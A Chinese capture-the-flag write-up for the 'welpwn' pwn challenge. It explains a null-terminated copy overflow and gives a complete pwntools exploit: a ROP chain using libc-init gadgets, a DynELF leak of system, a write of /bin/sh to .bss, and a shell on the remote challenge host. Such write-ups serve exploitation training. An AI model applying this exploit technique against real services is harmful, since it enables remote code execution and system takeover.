攻防世界 welpwn WP

这道题出的确实很wel
拿到这题,查看保护

发现shellcode走不通,一般都是走rop路线
IDA打开,分析代码,发现main函数内调用了echo函数
攻防世界 welpwn WP_第1张图片
这里的buf有0x400大,但是main不存在栈溢出,继续点开echo
攻防世界 welpwn WP_第2张图片
这里我们发现有一个赋值的过程,但是a1也就是buff有0x400,而s2只有0x10字节。
很明显,复制过程中存在栈溢出,但是我一开始没发现这一点,那就是这个赋值的终止条件是当读取到a1中\x00的时候。
这就说明,当我们输入payload的时候,就会在覆盖eip地址后截断(地址一般都有\x00)
那么怎么办呢,看了别人wp后发现极其巧妙的操作,因为是复制到s2,所以buf和s2其实是相邻储存的(参数再寄存器里),所以可以想办法跳过buf的开头,继续执行buf下的exp。
攻防世界 welpwn WP_第3张图片于是乎就可以找找能够pop出0x20个字节的代码片。
这个经典EXP可以看下这篇文章
经典EXP
这个rop基本格式:

ppp1_addr=0x40089A
ppp2_addr=0x400880
clean_addr=0x40089C
start_addr=0x400630
payload='a'*24+p64(clean_addr)+p64(ppp1_addr)+p64(0)+p64(1)+p64(write_addr)+p64(8)+p64(addr)+p64(1)
payload+=p64(ppp2_addr)+'a'*56+p64(start_addr)

这个clean_addr就是pop 4个整型的代码片。
所以先进行泄露地址,得到system地址,再写入/bin/sh,再构造system栈帧调用system获得shell

EXP:

from pwn import *
context.log_level='debug'
p=remote("111.198.29.45",48641)
elf=ELF("./81f42c219e81421ebfd1bedd19cf7eff")
start_addr=0x400630
write_addr=elf.got['write']
read_addr=elf.got['read']
ppp1_addr=0x40089A
ppp2_addr=0x400880
clean_addr=0x40089C
def leak(addr):
	p.recv()
	payload='a'*24+p64(clean_addr)+p64(ppp1_addr)+p64(0)+p64(1)+p64(write_addr)+p64(8)+p64(addr)+p64(1)
	payload+=p64(ppp2_addr)+'a'*56+p64(start_addr)
	p.send(payload.ljust(1024,'a'))
	buff=p.recv(8)
	print(buff.encode('hex'))
	return buff 
dyn=DynELF(leak,elf=ELF("./81f42c219e81421ebfd1bedd19cf7eff"))
sys_addr=dyn.lookup("system","libc")
print("System addr:%X" % sys_addr)
def getshell():
	pop_rdi=0x4008A3
	payload='a'*24+p64(clean_addr)+p64(ppp1_addr)+p64(0)+p64(1)+p64(read_addr)+p64(8)+p64(elf.bss())+p64(0)
	payload+=p64(ppp2_addr)+'a'*56+p64(pop_rdi)+p64(elf.bss())+p64(sys_addr)+p64(0)
	p.recv()
	p.send(payload.ljust(1024,'a'))
	p.sendline("/bin/sh")
getshell()
p.interactive()

你可能感兴趣的:(CTF)